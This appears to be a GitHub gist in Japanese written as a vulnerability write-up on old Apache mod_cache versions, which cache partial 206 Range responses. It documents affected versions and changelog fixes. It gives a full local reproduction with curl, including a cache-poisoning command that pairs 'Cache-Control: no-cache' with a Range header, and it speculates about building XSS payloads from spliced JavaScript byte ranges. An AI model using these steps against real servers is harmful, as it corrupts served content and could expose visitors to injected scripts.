Skip to content

Instantly share code, notes, and snippets.

@kimoto
Last active April 6, 2020 02:42
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kimoto/6b347dfbaa9f6a87c0c7 to your computer and use it in GitHub Desktop.
Save kimoto/6b347dfbaa9f6a87c0c7 to your computer and use it in GitHub Desktop.
Apache + mod_cache の Rangeリクエスト を使った脆弱性について
概要
・Apache/mod_cacheで、初回リクエストがHTTP Rangeリクエストだったときにコンテンツ断片をキャッシュしてしまう問題
発生条件
・Apacheが対象バージョンであること
・proxy先のコンテンツがHTTP Range Request (Partial Content)に対応している
・proxy先のコンテンツがcache-controlとexpiresヘッダーを出力しない
・mod_cache + mod_rewrite + mod_proxy使ってること
対象バージョン
・Apache 2.2系: 2.2.22以下のバージョン
・Apache 2.4系: 2.3.5以下のバージョン
・Apache 1.3系: 未確認。ソースぱっとみた感じおそらく直ってない。
mod_cache, proxy_cache.c
対象バージョンの詳細
・2.4系は 2.3.6 から直ってる
http://archive.apache.org/dist/httpd/CHANGES_2.3.6
*) mod_disk_cache: Decline the opportunity to cache if the response is
a 206 Partial Content. This stops a reverse proxied partial response
from becoming cached, and then being served in subsequent responses.
[Graham Leggett]
・2.2 系は 2.2.23 から直ってる
http://ftp.riken.jp/net/apache/httpd/CHANGES_2.2
*) mod_disk_cache, mod_mem_cache: Decline the opportunity to cache if the
response is a 206 Partial Content. This stops a reverse proxied partial
response from becoming cached, and then being served in subsequent
responses. PR 49113. [Graham Leggett]s
※これは脆弱性として処理されてる訳ではないっぽい
・1.3系 (1.3.42 = 最新)
ソースみた感じは普通に起こりえそうだけど入れるのめんどくさいので確認してない
再現手順
$ wget http://archive.apache.org/dist/httpd/httpd-2.2.22.tar.gz
$ tar xvfz ./httpd-2.2.22.tar.gz
$ cd httpd-2.2.22
$ ./configure --prefix=/tmp/httpd-2.2.22 --enable-cache --enable-disk-cache --enable-rewrite --enable-proxy --enable-expires
$ make && make install
$ cd /tmp/httpd-2.2.22
$ cat << '_EOS_' > ./conf/httpd.conf
ServerRoot /tmp/httpd-2.2.22
Listen 8081
User daemon
Group daemon
ServerAdmin you@example.com
DocumentRoot "/tmp/httpd-2.2.22/htdocs"
ErrorLog "logs/error_log"
LogLevel debug
<VirtualHost *:8081>
RewriteEngine on
RewriteRule ^/proxy/(.+)$ /contents/$1 [P,L]
ExpiresActive On
ExpiresDefault "access plus 3 days"
CacheRoot /tmp/httpd-2.2.22/diskcache
CacheEnable disk /proxy
<Location "/contents">
ExpiresActive Off
</Location>
</VirtualHost>
_EOS_
$ mkdir -p ./htdocs/contents && mkdir -p ./diskcache
$ echo "hello world" > ./htdocs/contents/hello_world
$ ./bin/apachectl start
# 初回アクセス時にRangeリクエストで最初の4バイトだけを取得します
$ curl -H 'Range: bytes=0-3' http://localhost:8081/proxy/hello_world
hell
# キャッシュを確認します。hell だけキャッシュされています
$ cat ./diskcache/B5/m1/RJ/ns7ai8Icvdedk5NQ.data
hell
# 2回目のアクセス。Rangeリクエストを使わないで普通にアクセス
# 断片だけが保存されてしまっている
$ curl http://localhost:8081/proxy/hello_world
hell
# proxyを経由しないでアクセスしてみます
$ curl http://localhost:8081/contents/hello_world
hello world
# もっかいproxy側でアクセスしてみます
$ curl http://localhost:8081/proxy/hello_world
hell
問題の詳細
・この問題はキャッシュの存在しないURLヘの初回アクセス時に、HTTP Range Request (Rangeヘッダー) を使って一部の部位を取得したときに起こる
・mod_cache/mod_disk_cache は初回アクセス時のproxy先からのbodyをそのままキャッシュし、2回目以降はそれをそのURLに対する完全なcacheとして扱うため
・問題のあるバージョンのmod_cacheは206のときにもキャッシュしてしまう。問題の起きない最近のバージョンでは206はキャッシュを作成しないようになっている
・ただしクライアントからの要求ヘッダーに Cache-Control: no-cache が付与されていた場合は、既存のキャッシュを破棄して作り直しているっぽい。なのでブラウザからキャッシュは作り直される(スーパーリロードすれば正常になるっぽい)
# 前の例の続きから実行する
$ curl -H 'Cache-Control: no-cache' http://localhost:8081/proxy/hello_world
hello world
$ curl http://localhost:8081/proxy/hello_world
hello world # キャッシュが再構築された
脆弱性、想定される攻撃パターン (実際に出来るかどうかは確認してない)
・キャッシュが存在しない(あるいは期限の切れた)初回アクセス時に、攻撃者がコンテンツ内の悪意ある部位を bytes=n-m でキャッシュさせ、不特定多数の人間に実行させることができる?
・キャッシュが存在していても、Cache-Control: no-cache ヘッダーを付加することで再構築させることが出来るので、これとRangeヘッダーを組み合わせて強制的に悪意あるキャッシュに上書きできる?
=> 出来ました
$ curl -v -H 'Cache-Control: no-cache' -H 'Range: bytes=0-3' http://localhost:8081/proxy/hello_world
hell
$ curl http://localhost:8081/proxy/hello_world
hell
・たとえばindex.htmlで<script type="text/javascript" src="./hoge.js" /> このように外部Javascriptファイルを参照してたときにその hoge.jsへの Rangeリクエストを行う。このときRangeリクエストでは複数の異なる範囲を返却できるようなので、(未確認)
-------------------------------------
bytes=500-600,601-999
-------------------------------------
こんな感じで参照されてるjavascriptコードをうまいことくっつけて攻撃コードにすれば容易にXSS/CSRF行けるかも?
参考サイト: http://www.studyinghttp.net/range
↑これの追試結果:
Rangeで複数範囲指定すると multipart/form-data みたいのでかえってくるっぽいので攻撃コードにするのはなかなか難しいかも。
でもいろいろ範囲指定せずに悪用する手順はありそうな感じはする
$ curl -H 'Range: bytes=0-0,1-10' http://localhost:8081/contents/hello_world
--4ed174f6a91ea2
Content-type: text/plain
Content-range: bytes 0-0/12
h
--4ed174f6a91ea2
Content-type: text/plain
Content-range: bytes 1-10/12
ello world
--4ed174f6a91ea2--
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment